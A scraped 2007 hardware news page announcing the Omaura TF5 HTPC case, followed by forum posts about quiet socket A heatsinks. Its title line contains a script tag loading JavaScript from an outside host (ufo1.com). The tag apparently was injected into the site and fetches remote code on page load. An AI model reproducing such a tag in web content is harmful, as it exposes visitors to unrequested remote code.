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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 27/04/07
Author: PV5150
Source: Overclock3d.net

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Exclusive Sneak Peak

Overclock3d prides itself on bringing you the latest news when it breaks. Well, we've gone one better today and managed to get wind of something big; and of course we had to share it with you our valued readers.

A couple of days ago something floated across my desk that was simply too good to pass on. Now bear in mind that this product hasn't been released yet, and so the details are basically zip. But what we can tell you that a new HTPC case manufacturer is coming to town, and the small glimpse of their hardware that we have is quite exciting.

Omaura is an unknown name in the world of HTPC hardware, but they are preparing to remedy the situation. Omaura's first offering is a case that we know only by the name TF5. Apparently, the TF5 will be a MATX/ITX, 2 expansion card, Flex ATX PSU, and includes a standard card reader. There will also be an optional IR receiver made available and it is 100% MCE compatible.

We have heard along the grapevine that along with the TF5, there are 2 more cases and 3 accessory cases to follow. But rest assured that as soon as we have the finer details; more than likely as we get closer to release...you'll see them here.

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26-04-2007, 14:44:02

nathan
I'm after a really quite socket a heatsink for my htpc, does anyone have any suggestions/links?


Cant break the bank either.


Thanks people!

26-04-2007, 14:56:54

Joe
the Si-97 gave me some major (peak 2.9Ghz) overclocks on my old Xp-M (full details are in my rig profile)

it and a YStech fan :D

EDIT: @ stock (2600+) the si-97 can go fanless :D

26-04-2007, 15:39:49

Rastalovich
edit: nvm missed the htpc thing

26-04-2007, 17:32:14

Ham
The old XP 90/120?
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